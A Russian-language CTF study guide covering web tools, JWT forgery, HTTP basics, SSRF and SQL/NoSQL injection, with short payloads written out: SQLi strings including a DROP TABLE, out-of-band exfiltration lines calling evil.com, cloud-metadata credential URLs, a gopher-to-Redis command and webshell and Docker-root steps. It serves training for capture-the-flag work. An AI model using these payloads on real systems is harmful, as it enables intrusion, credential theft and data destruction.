Главное запомнить: разведка — это whatweb, gau/waybackurls, ffuf/dirsearch/feroxbuster/gobuster. Перехват и ручная эксплуатация — Burp/ZAP. Автоматическая эксплуатация — sqlmap, commix, tplmap, XSStrike, LFImap. Быстрый скан уязвимостей — Nuclei. Ключевые термины для запоминания: Burp Suite, OWASP ZAP, sqlmap, ffuf, dirsearch, Nuclei, gobuster, whatweb, XSStrike, tplmap, commix, LFImap, Postman, curl, waybackurls, gau. Эти знания помогут тебе в 90% web-задач: за минуты понять, на чём сайт, найти скрытые страницы, автоматически вытащить базу через sqlmap, проверить XSS/Command Injection, перехватить и изменить запрос в Burp — вместо того чтобы часами кликать вручную и гадать пути. С таким арсеналом ты уже уверенно решаешь beginner и medium web-задачи, а в hard — сильно экономишь время.


JSON Web Tokens (JWT)

JWT (JSON Web Token) — это компактный способ передавать информацию между клиентом и сервером в виде одной длинной строки, которая выглядит как три части, разделённые точками. Внутри зашифрованы (или просто закодированы) данные о пользователе, его правах и сроке действия. В CTF эта тема относится в первую очередь к категории Web (часто пересекается с Crypto и Web3). Чаще всего JWT встречается в задачах на авторизацию, где нужно войти под админом, подделать токен или обойти проверку подписи. Новичку обязательно разобраться в JWT, потому что в современных web-задачах это один из самых популярных способов хранения сессии. Понимание структуры и слабых мест позволяет за 5–15 минут превратить обычный токен в токен админа и получить флаг.

Словарь терминов

Термин
Что это простыми словами

JWT

Строка с тремя частями, которая несёт данные о пользователе

Header

Первая часть токена, говорит, какой алгоритм подписи используется

Payload

Вторая часть, содержит данные: имя, роль, срок действия

Signature

Третья часть, проверяет, что никто не изменил header и payload

Base64url

Способ кодирования, похож на base64, но безопасный для URL

HS256

Подпись с помощью общего секретного ключа (симметричный)

RS256

Подпись с помощью пары ключей: приватный подписывает, публичный проверяет

none

Алгоритм без подписи — сервер просто верит токену

alg confusion

Атака, когда меняют алгоритм, чтобы сервер проверил не тем способом

kid

Поле в header, указывает, какой ключ использовать для проверки

jku

Ссылка в header, откуда сервер должен взять публичные ключи

x5u

Ссылка на сертификат с публичным ключом

Token replay

Повторное использование старого токена, который ещё не истёк

EIP-712

Стандарт для подписывания структурированных данных в Ethereum

Структура токена: header.payload.signature

JWT состоит из трёх частей, разделённых точками:

  • header — JSON с информацией об алгоритме (alg) и типе (typ: "JWT"). Кодируется в base64url.

  • payload — JSON с данными: sub (кто пользователь), role (права), iat (время выдачи), exp (срок действия), и иногда iss (кто выдал). Тоже base64url.

  • signature — подпись, которая считается от header + payload + секретного ключа (или приватного ключа).

Всё вместе выглядит примерно так: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Важно: payload читается любым человеком — он не зашифрован, только закодирован. Подпись защищает от изменений.

В CTF это база: всегда декодируй payload → смотри роль, права, user_id. На практике: меняй role на "admin", user_id на 1 или 0, уменьшай/удаляй exp — и пробуй отправить обратно. Если сервер не проверяет подпись строго — флаг твой.

Алгоритмы: none, HS256, RS256, слабые ключи, alg confusion

Алгоритмы определяют, как считается подпись.

  • none — подпись пустая, сервер должен отказаться, но часто принимает из-за ошибки.

  • HS256 — симметричный: один секретный ключ и для подписи, и для проверки. Если ключ слабый (короткий, "secret", имя сайта) — можно подобрать.

  • RS256 — асимметричный: приватный ключ подписывает, публичный проверяет. Подделать нельзя без приватного ключа.

alg confusion — когда меняют alg с RS256 на HS256, а в качестве "ключа" подсовывают публичный ключ — сервер думает, что это HS256-секрет.

Слабые ключи — частая ошибка: секрет типа "password", "jwtsecret" или даже пустой.

В CTF none и слабые HS256 — классика beginner/medium. Alg confusion — medium/hard. На практике: пробуй поменять alg на "none" и убрать signature. Если не сработало — если RS256, попробуй alg: HS256 и вставить публичный ключ как секрет. Если HS256 — brute-force или угадывай секрет.

Атаки: kid header injection, jku/x5u, token replay, signature bypass

kid (key ID) — поле в header, говорит, какой ключ использовать. Если сервер берёт имя файла из kid (например, /keys/kid123) — можно вставить ../dev/null или /etc/passwd и заставить сервер использовать пустой/предсказуемый ключ.

jku (JWK URL) и x5u — ссылки, откуда скачать публичные ключи. Если сервер доверяет любой ссылке — можно указать свой сервер и подсунуть фейковый ключ.

Token replay — старый токен админа повторно отправляется, если нет проверки iat/exp или nonce.

Signature bypass — разные трюки: пустая подпись, алгоритм none, alg confusion, слабый ключ, подмена kid/jku.

В CTF эти атаки дают доступ к админ-панели или чужому аккаунту. На практике: смотри header → если есть kid — пробуй ../ или /proc/self/environ. Если jku/x5u — ставь свой URL с фейковым JWK. Для replay — копируй токен и используй повторно.

EIP-712 и typed data signing в Web3-контексте

В Web3 (Ethereum, блокчейн-задачи) часто используют подписи по стандарту EIP-712. Это не совсем JWT, но похожий принцип: структурированные данные (typed data) подписываются приватным ключом кошелька.

Сообщение имеет domain (контракт, цепочка), types (структура) и message (данные). Подпись проверяется на клиенте или смарт-контракте.

В CTF это встречается в задачах на подделку подписи, replay атаки или неправильную проверку domain/types.

В Web3-задачах часто нужно подписать сообщение от имени жертвы или подделать верификацию. На практике: если видишь _signTypedData — изучай структуру, ищи слабые места (отсутствие nonce, domain separator). Иногда можно replay подпись или подсунуть свои данные в message.

Главное запомнить: JWT — это header.payload.signature, payload читаем, подпись проверяет целостность. Самые частые дыры — none, слабый HS256, alg confusion, kid/jku injection. В Web3 похожие принципы, но с EIP-712. Ключевые термины для запоминания: header, payload, signature, HS256, RS256, none, alg confusion, kid, jku, x5u, token replay, EIP-712, typed data. Эти знания помогут тебе в большинстве задач на авторизацию: декодировать токен, менять роль на admin, пробовать none или alg confusion, подделывать kid — и быстро получать флаг, вместо того чтобы перебирать миллионы паролей или гадать логин. С таким набором ты уже уверенно решаешь beginner и medium JWT-задачи.


Основы протокола HTTP/HTTPS

HTTP и HTTPS — это правила, по которым твой браузер разговаривает с сайтом: просит страницу, отправляет данные, получает ответ. HTTP — обычный, без защиты, а HTTPS — защищённый, с шифрованием, чтобы никто не подглядел и не подменил данные. В CTF эта тема относится в первую очередь к категории Web. Чаще всего встречается в web-задачах: где нужно отправить особый запрос, обойти защиту, найти флаг в заголовке или через манипуляцию соединением. Новичку обязательно понять основы, потому что почти все web-CTF начинаются именно с перехвата и изменения HTTP-запросов. Зная, как устроены запросы, заголовки и шифрование, ты быстро поймёшь, где спрятан флаг или как обойти проверку.

Словарь терминов

Термин
Что это простыми словами

HTTP

Протокол передачи данных между браузером и сайтом без шифрования

HTTPS

HTTP с шифрованием через TLS, защищает от подглядывания

Метод запроса

Тип действия: GET — получить, POST — отправить данные

Заголовок

Дополнительная информация в запросе или ответе (типа User-Agent)

Статус-код

Номер ответа сервера: 200 — ок, 404 — не найдено, 403 — запрещено

TLS handshake

Процесс "рукопожатия", когда браузер и сервер договариваются о шифре

Сертификат

"Паспорт" сайта, подтверждает, что это настоящий сайт

HSTS

Заставляет браузер всегда использовать HTTPS для сайта

Certificate Transparency

Публичный лог всех выданных сертификатов, чтобы заметить подделки

Mixed content

Когда HTTPS-страница грузит HTTP-ресурсы — браузер ругается

CSP

Заголовок, который говорит браузеру, откуда можно грузить скрипты

X-Frame-Options

Запрещает или разрешает вставлять сайт в iframe

X-XSS-Protection

Старый заголовок против XSS-атак (теперь почти не используют)

Referrer-Policy

Контролирует, какую информацию о предыдущей странице отправлять

Методы запросов, заголовки, статус-коды, версии HTTP/1.1 и HTTP/2/3

Запрос начинается с метода: GET — просто посмотреть страницу, POST — отправить форму (логин, пароль), HEAD — как GET, но без тела ответа, PUT/DELETE — изменить или удалить что-то (редко в CTF).

Заголовки — это как приписка к письму: Host — какой сайт, User-Agent — какой браузер, Cookie — твои куки, Authorization — логин/пароль в base64, Content-Type — тип данных (application/json и т.д.).

Статус-коды: 200 — всё ок, 301/302 — перенаправление, 403 — запрещено (часто флаг за правильным заголовком), 404 — не найдено, 500 — ошибка сервера (иногда утекает инфа).

Версии: HTTP/1.1 — старый стандарт, по одному запросу за соединение, HTTP/2 — быстрее, много запросов одновременно, сжатие заголовков, HTTP/3 — на UDP, ещё быстрее и надёжнее, но в CTF пока редко.

В CTF это основа всего web: флаг часто лежит за POST-запросом с особым заголовком, или сервер отвечает 200 только если User-Agent = "admin" или Referer правильный. На практике: меняй метод с GET на POST, добавляй/меняй заголовки, смотри статус — если стал 200 вместо 403, копай дальше в ответе.

HTTPS handshake, сертификаты, HSTS, HPKP, certificate transparency

HTTPS использует TLS (раньше SSL). Handshake — это когда браузер говорит "привет", сервер отвечает сертификатом, они договариваются о ключе шифрования и начинают безопасный разговор.

Сертификат — цифровой документ от доверенного центра (CA), содержит публичный ключ сайта и доказывает, что домен настоящий. Браузер проверяет цепочку до корневого CA.

HSTS — заголовок Strict-Transport-Security: "всегда заходи ко мне только по HTTPS, даже если напишешь http". Защищает от downgrade-атак.

HPKP (Public Key Pinning) — старый способ "привязать" сайт к конкретному ключу, чтобы поддельный сертификат не сработал (сейчас почти не используют, заменили на Certificate Transparency).

Certificate Transparency — все сертификаты записывают в публичные логи, чтобы владелец домена заметил поддельные.

В CTF handshake редко ломают напрямую, но часто дают задачу с неправильным сертификатом, mixed content или HSTS-preload. Иногда флаг в описании сертификата или в ошибке TLS. На практике: если сайт на HTTPS — смотри сертификат (в браузере клик на замок), ищи необычные поля или цепочку. Mixed content — когда часть ресурсов по HTTP, иногда там утекает флаг.

Разница между HTTP и HTTPS, mixed content, TLS 1.2/1.3

HTTP — всё в открытую: любой в сети видит логин, пароль, куки. HTTPS — шифрует весь трафик, никто не видит содержимое (только IP и домен).

Mixed content — HTTPS-страница грузит картинки/скрипты по HTTP: браузер блокирует или предупреждает, иногда это ломает сайт или даёт подсказку.

TLS 1.2 — старый, но ещё живой, много шифров, уязвим к некоторым атакам. TLS 1.3 — новый, быстрее, безопаснее, убрал старые слабые шифры, handshake за 1 round-trip.

В CTF разница критична: на HTTP можно перехватить куки или данные формы, на HTTPS — нет (если не ломать TLS). Mixed content иногда позволяет вставить свой скрипт или увидеть скрытый ресурс. На практике: если задача на HTTP — пробуй перехватывать и менять данные, если HTTPS — ищи обход через mixed или downgrade (редко).

Заголовки безопасности (CSP, X-Frame-Options, X-XSS-Protection, Referrer-Policy)

Эти заголовки помогают сайту защищаться от атак.

CSP (Content-Security-Policy) — говорит браузеру: "скрипты только с моего домена", "картинки только отсюда", "запрети inline-скрипты". Ломают XSS.

X-Frame-Options — DENY (не вставляй меня в iframe), SAMEORIGIN (только с моего домена), защищает от clickjacking.

X-XSS-Protection — старый, включал встроенную защиту браузера от XSS (теперь почти не нужен, CSP лучше).

Referrer-Policy — контролирует, сколько инфы о предыдущей странице отправлять в Referer (origin, strict-origin, no-referrer и т.д.).

В CTF эти заголовки часто нужно обходить или использовать: CSP bypass для XSS, отсутствие X-Frame-Options для clickjacking-подобных трюков, Referrer-Policy для обхода проверок "откуда пришёл". На практике: если видишь CSP — читай его внимательно, ищи слабые места (unsafe-inline, *.example.com). Если нет X-Frame-Options — иногда можно вставить сайт в iframe и украсть что-то.

Главное запомнить: HTTP/HTTPS — основа web в CTF, запрос состоит из метода + заголовков + тела, ответ — статус + заголовки + тело. HTTPS добавляет шифрование через TLS-handshake и сертификаты. Заголовки безопасности ограничивают, что можно делать на странице. Ключевые термины для запоминания: GET/POST, User-Agent, Cookie, 200/403, TLS handshake, сертификат, HSTS, CSP, X-Frame-Options, Referrer-Policy, mixed content, TLS 1.3. Эти знания помогут тебе решать почти все beginner и medium web-задачи: быстро понять, почему 403, добавить нужный заголовок, обойти простую проверку, найти флаг в ответе или сертификате — вместо того чтобы часами гадать, что не так. С ними ты уже не будешь бояться любой web-страницы в CTF.


Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) — это когда ты заставляешь сервер сделать запрос от своего имени к любому адресу, который ты укажешь. Обычно это используется для доступа к внутренним сервисам, которые снаружи недоступны: админ-панели, базы данных, облачные метаданные. В CTF эта тема относится в первую очередь к категории Web. Чаще всего SSRF встречается в задачах на чтение внутренних файлов, получение секретов из облака (AWS/GCP/Azure), сканирование внутренних портов или эскалацию до удалённого выполнения кода (RCE). Новичку важно понять SSRF, потому что в современных CTF (особенно с Docker, Kubernetes, облаками) это один из самых мощных способов получить флаг или shell. Зная, как обмануть парсинг URL и куда можно попросить сервер сходить, ты часто за 10–30 минут получаешь доступ к тому, что снаружи закрыто.

Словарь терминов

Термин
Что это простыми словами

SSRF

Заставляешь сервер сделать запрос к любому адресу от твоего имени

Blind SSRF

Нет вывода ответа, но можно судить по поведению или задержке

Internal port scanning

Проверка, какие порты открыты внутри сети сервера

Cloud metadata

Секретные данные облака (ключи, токены) по адресу 169.254.169.254

URL parsing bypass

Обход фильтров на URL с помощью @, #, 0x, decimal IP и т.д.

Protocol smuggling

Использование редких протоколов (gopher, dict, file, jar)

Gopher

Протокол, позволяющий отправить почти любой TCP-пакет

Dict

Протокол для запросов к словарям, но часто используется для SSRF

File protocol

file:// — чтение локальных файлов сервера

Redis SSRF to RCE

Через SSRF пишешь команды в Redis и получаешь shell

FastCGI SSRF

Через SSRF отправляешь команды в php-fpm и выполняешь код

Docker API SSRF

Доступ к /var/run/docker.sock → запуск контейнеров

Blind SSRF, internal port scanning, cloud metadata (AWS/GCP/Azure)

Blind SSRF — когда сервер не отдаёт тебе содержимое ответа, но ты можешь понять, что запрос прошёл. Например, если страница загружается дольше — порт открыт, если ошибка 502/timeout — закрыт.

Internal port scanning — ты пробуешь разные порты: http://127.0.0.1:22, :3306 (MySQL), :6379 (Redis), :8080 (внутренний сервис). По времени ответа или статусу узнаёшь, что работает.

Cloud metadata — самый ценный случай: почти все облака имеют специальный адрес 169.254.169.254 (или 169.254.170.2 для AWS ECS), где лежат токены, ключи, роли. AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/role GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token Azure: http://169.254.169.254/metadata/identity/oauth2/token

В CTF blind SSRF + metadata — классика medium/hard. На практике: если есть поле URL — вставляй 127.0.0.1:8080 → если страница меняется — порт открыт. Потом пробуй 169.254.169.254/latest/meta-data/ → если получишь токен — ищи роль с правами на S3 или секреты.

URL parsing bypass, protocol smuggling (gopher, dict, file)

Серверы часто фильтруют localhost, 127.0.0.1, 0.0.0.0. Bypass делается через:

  • 127.0.0.1 → 127.1, 2130706433 (decimal), 0x7f.0x0.0x0.0x1, 0177.0.0.1 (octal)

  • http://127.0.0.1 → http://[::1], http://0, http://[email protected] (обход черных списков)

  • Добавление @, #, /./, //, %2e%2e

Protocol smuggling — использование редких протоколов вместо http:

  • file:///etc/passwd — чтение файлов

  • dict://127.0.0.1:6379/info — запрос к Redis

  • gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A — отправка команд Redis

В CTF bypass и gopher — must-have для обхода фильтров. На практике: если 127.0.0.1 блокируется — пробуй 127.1, 0x7f000001, ::1. Если http запрещён — переключайся на gopher:// или file://. Gopher позволяет отправить почти любой TCP-пакет — идеально для Redis/FastCGI.

SSRF to RCE (Redis, FastCGI, Docker API)

SSRF часто становится RCE, если ты попадаешь на нужный внутренний сервис.

Redis SSRF to RCE — пишешь в Redis команды через gopher, создаёшь cron-задачу или пишешь webshell в /var/www/html.

FastCGI/php-fpm — отправляешь специально сформированный пакет на порт 9000, указываешь SCRIPT_FILENAME и код → выполняешь php-код.

Docker API — если доступен /var/run/docker.sock (порт 2375/2376) — можно создать контейнер с монтированием / и получить root.

В CTF это эскалация от простого SSRF до полного shell. На практике: если нашёл Redis на 6379 — используй gopher для FLUSHALL + SET webshell + config set dir /var/www/html. Если Docker API — создавай контейнер с --privileged и монтируй /host.

SSRF в облачных сервисах и Kubernetes

В облаке SSRF — золотая жила: токены IAM, Kubernetes secrets, internal API.

Kubernetes — часто SSRF на kube-apiserver (порт 6443), etcd (2379), или metadata в kubelet. Можно вытащить service account token → получить права внутри кластера.

AWS/GCP/Azure — metadata даёт временные ключи с правами на S3, Secrets Manager, Cloud Storage → скачиваешь флаг.

В CTF облачные SSRF — почти всегда hard-задачи с большими наградами. На практике: если сервер в AWS — сразу пробуй 169.254.169.254/latest/meta-data/iam/security-credentials/. В Kubernetes — ищи /api/v1/namespaces/default/secrets или /var/run/secrets/kubernetes.io/serviceaccount/token через file://.

Главное запомнить: SSRF — заставляешь сервер запросить любой URL от своего имени. Самое ценное — cloud metadata, внутренние сервисы (Redis, FastCGI, Docker). Bypass фильтров через IP-вариации и протоколы (gopher, file). Blind работает по времени/поведению. Ключевые термины для запоминания: SSRF, blind SSRF, internal port scanning, cloud metadata, URL parsing bypass, gopher, dict, file protocol, Redis SSRF, FastCGI SSRF, Docker API, Kubernetes SSRF. Эти знания помогут тебе в большинстве современных web-задач: быстро найти внутренний сервис, вытащить токен из metadata, обойти фильтр на localhost, эскалировать до RCE через Redis или Docker — и получить флаг или shell вместо долгого поиска других уязвимостей. С таким подходом ты уже уверенно решаешь medium и hard SSRF-задачи.


SQL Injection

SQL Injection (SQLi) — это когда ты вставляешь вредоносный кусок SQL-кода в поле ввода (логин, поиск, id), и сервер выполняет его как часть своей команды к базе данных. Вместо того чтобы искать пользователя, сервер может показать все пароли, удалить таблицу или дать тебе права админа. В CTF эта тема относится в первую очередь к категории Web. Чаще всего SQL Injection встречается в задачах на обход авторизации, чтение секретных данных, получение флага из базы или повышение привилегий. Новичку обязательно понять SQLi, потому что это одна из самых классических и самых часто встречающихся уязвимостей в web-CTF. Зная типы инъекций и способы обхода защиты, ты сможешь за 10–40 минут вытащить флаг из базы, вместо того чтобы часами перебирать пароли или гадать endpoint'ы.

Словарь терминов

Термин
Что это простыми словами

SQL Injection

Вставка чужого SQL-кода в запрос к базе данных

Union-based

Техника, когда через UNION добавляешь свои данные в результат

Error-based

Инъекция, при которой ошибки базы показывают полезную информацию

Blind boolean

Нет вывода, но по разному поведению страницы угадываешь символы

Blind time-based

Нет вывода, но по задержке ответа угадываешь символы

Stacked queries

Несколько запросов через точку с запятой в одном поле

Out-of-band

Данные утекают не в ответ, а через DNS-запросы или HTTP

WAF

Фильтр, который пытается блокировать опасные SQL-символы

Second-order SQLi

Инъекция сохраняется в базе, а срабатывает позже

NoSQL Injection

Аналог SQLi, но для баз MongoDB, CouchDB и других

Payload

Готовый кусок кода, который вставляешь в поле

Sleep

Функция, которая заставляет базу ждать (для time-based)

Union-based, error-based, blind (boolean/time-based)

Union-based — самый удобный тип: вставляешь ' UNION SELECT 1,2,3 -- и смотришь, какие колонки выводятся. Потом заменяешь числа на нужные данные: database(), user(), version(), GROUP_CONCAT(table_name). Когда узнаёшь количество колонок — вытаскиваешь флаг из таблицы.

Error-based — сервер показывает ошибки SQL (например, "You have an error near ' OR 1=1"). В некоторых СУБД (MySQL, MSSQL) можно вытащить данные прямо из текста ошибки с помощью extractvalue, updatexml и подобных функций.

Blind boolean — ответа нет, но поведение страницы меняется: если условие верно — страница нормальная, если ложно — "not found" или пусто. Угадываешь посимвольно: ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a

Blind time-based — если условие верно — сервер ждёт (SLEEP(5)), если ложно — отвечает сразу. По разнице во времени угадываешь символы.

В CTF union-based — самый быстрый и частый в beginner/medium. Blind — в hard, когда вывода нет. На практике: начинай с ' OR 1=1 -- → если вошёл без пароля — SQLi есть. Потом пробуй union select. Если ничего не выводит — переходи к boolean/time-based.

Stacked queries, out-of-band (DNS, HTTP)

Stacked queries — когда сервер позволяет несколько запросов в одном поле: '; DROP TABLE users; -- или '; UPDATE users SET password='hacked' WHERE id=1; --

Работает не везде: в MySQL нужно включён multi_query, в PostgreSQL — возможно, в MSSQL — часто.

Out-of-band — данные утекают не в ответ страницы, а через другие каналы: LOAD_FILE('\\evil.com\x'), INTO OUTFILE, или DNS-запросы (SELECT ... INTO OUTFILE '\\evil.com\a.txt'), HTTP-запросы (UTL_HTTP.REQUEST в Oracle).

В CTF stacked — редкость, но даёт возможность писать файлы или менять данные. Out-of-band — спасение, когда WAF блокирует всё, а DNS/HTTP пропускает. На практике: если union и blind не работают — пробуй '; SELECT SLEEP(5); --. Если время ответа выросло — stacked возможен. Для OOB — ищи функции вроде LOAD_FILE, UTL_INADDR.GET_HOST_ADDRESS.

WAF bypass, second-order SQLi

WAF (Web Application Firewall) — фильтр, который ищет ' OR 1=1, union, select и блокирует. Bypass — это вариации: %27 вместо ', /**/ вместо пробела, char(39) вместо ', Unicode-символы (%27), case mixing (UnIoN SeLeCt).

Second-order SQLi — инъекция не срабатывает сразу, а сохраняется в базе (например, в имени пользователя), а потом используется в другом месте (при отображении профиля, поиске). Фильтр пропускает при сохранении, но не при использовании.

В CTF WAF-bypass нужен почти всегда в medium/hard. Second-order — классика, когда обычная инъекция блокируется. На практике: если ' OR 1=1 блокируется — пробуй ' OR '1'='1, '||'1'='1, char(39)||char(49)||char(61)||char(49). Для second-order — регистрируй пользователя с инъекцией в имени/почте и смотри, где оно потом используется.

NoSQL Injection (MongoDB, CouchDB, Cassandra)

NoSQL-базы (MongoDB чаще всего) не используют SQL, но уязвимы к похожим атакам. Вместо строки запроса часто приходит JSON: {"username": "admin", "password": {"$ne": null}} — это значит "пароль не равен null" → заходит под любым паролем.

Другие примеры: {"$gt": ""}, {"$regex": "^a"}, операторы $where, $func, JavaScript-инъекции в $where.

В CTF NoSQLi встречается в задачах на современные веб-приложения (Node.js, Python Flask/Django с Mongo). На практике: если логин не работает с обычным SQLi — пробуй username[$ne]=null&password[$ne]=null. Если Mongo — часто достаточно {"username":"admin","password":{"$exists":true}}. Ищи подсказки в ошибках или JS-коде.

Главное запомнить: SQL Injection — это выполнение чужого кода в базе через пользовательский ввод. Самые частые типы — union-based (для вывода данных), blind boolean/time-based (когда вывода нет). Защита — подготовленные запросы, но в CTF их часто нет. WAF обходится вариациями, second-order — отложенная инъекция, NoSQL — свои операторы. Ключевые термины для запоминания: Union-based, error-based, blind boolean, blind time-based, stacked queries, out-of-band, WAF bypass, second-order SQLi, NoSQL Injection, $ne, SLEEP, LOAD_FILE. Эти знания помогут тебе в большинстве web-задач: быстро проверить поля на инъекцию, вытащить базу через union, угадать флаг посимвольно в blind, обойти WAF вариациями — и получить флаг из таблицы flags или users вместо долгого brute-force логина/пароля. С таким набором ты уже уверенно решаешь beginner и medium SQLi-задачи.